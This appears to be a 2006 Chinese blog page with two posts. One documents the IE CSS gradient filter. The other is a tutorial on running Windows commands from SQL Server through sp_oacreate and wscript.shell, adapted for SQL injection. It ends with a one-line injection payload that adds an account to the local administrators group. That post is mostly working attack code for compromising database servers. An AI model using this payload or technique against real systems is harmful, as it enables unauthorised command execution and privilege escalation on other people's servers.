先在SQL Server 上建立一个Wscript.Shell,调用其run Method,将cmd.exe执行的结果输出到一个文件中,然后再建立一个Scripting.FileSystemObject,通过它建立一个TextStream对象,读出临时文件中的字符,一行一行的添加到一个临时表中。

以下是相应的SQL语句


CREATE TABLE mytmp(info VARCHAR(400),ID IDENTITY (1, 1) NOT NULL)
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate 'wscript.shell',@shell output
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c dir c:\>c:\temp.txt','0','true'
--注意run的参数true指的是将等待程序运行的结果,对于类似ping的长时间命令必需使用此参数。

EXEC sp_oacreate 'scripting.filesystemobject',@fso output
EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt'
--因为fso的opentextfile方法将返回一个textstream对象,所以此时@file是一个对象令牌

WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,'Readline',@out out
INSERT INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END

DROP TABLE MYTMP

注意:
如果你在进行注入测试时使用这种方法就不能有这样多的换行,必须把它们合为一行,每个语句中间用空格符隔开。

我来给大家一个思路吧:

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators sohu /add'--
 

- 作者: 落雨听风 2006年12月1日, 星期五 20:32  回复(0) |  引用(1) 加入博采

FILTER:progid:

FILTER:progid:DXImageTransform.Microsoft.Gradient使用
语法:

filter:progid:DXImageTransform.Microsoft.Gradient(enabled=bEnabled,startColorStr=iWidth,endColorStr=iWidth)
属性:
enabled:可选项。布尔值(Boolean)。设置或检索滤镜是否激活。  true | false
  true: 默认值。滤镜激活。
  false:滤镜被禁止。
 
startColorStr:可选项。字符串(String)。设置或检索色彩渐变的开始颜色和透明度。
  其格式为 #AARRGGBB 。 AA 、 RR 、 GG 、 BB 为十六进制正整数。取值范围为 00 - FF 。 RR 指定红色值, GG 指定绿色值, BB 指定蓝色值,参阅 #RRGGBB 颜色单位。 AA 指定透明度。 00 是完全透明。 FF 是完全不透明。超出取值范围的值将被恢复为默认值。
  取值范围为 #FF000000 - #FFFFFFFF 。默认值为 #FF0000FF 。不透明蓝色。 
EndColorStr:可选项。字符串(String)。设置或检索色彩渐变的结束颜色和透明度。参阅 startColorStr 属性。默认值为 #FF000000 。不透明黑色。 
特性:
Enabled:可读写。布尔值(Boolean)。参阅 enabled 属性。
GradientType:可读写。整数值(Integer)。设置或检索色彩渐变的方向。1 | 0
  1:默认值。水平渐变。
  0:垂直渐变。
StartColorStr:可读写。字符串(String)。参阅 startColorStr 属性。
StartColor:可读写。整数值(Integer)。设置或检索色彩渐变的开始颜色。 取值范围为 0 - 4294967295 。 0 为透明。 4294967295 为不透明白色。
EndColorStr:可读写。字符串(String)。设置或检索色彩渐变的结束颜色和透明度。参阅 startColorStr 属性。默认值为 #FF000000 。不透明黑色。 
EndColor:可读写。整数值(Integer)。设置或检索色彩渐变的结束颜色。 取值范围为 0 - 4294967295 。 0 为透明。 4294967295 为不透明白色。当在脚本中使用此特性时,也可以用十六进制格式: 0xAARRGGBB 。 
说明:
在对象的背景和内容之间显示定制的色彩层。
当此效果通过转变显示时,在渐变册色彩层之上的文本程序性的初始化为透明的,当色彩渐变实现后,文本颜色会以其定义的值更新。
示例:
#idDiv{position:absolute; left:140px; height:400; width:400;filter:progid:DXImageTransform.Microsoft.gradient(enabled='false',startColorstr=#550000FF, endColorstr=#55FFFF00) ;}

#idDiv{position:absolute; left:140px; height:400; width:400;filter:progid:DXImageTransform.Microsoft.gradient() ;}
具体使用
<>
<>
<>
<>
 

- 作者: 落雨听风 2006年12月1日, 星期五 20:29  回复(0) |  引用(1) 加入博采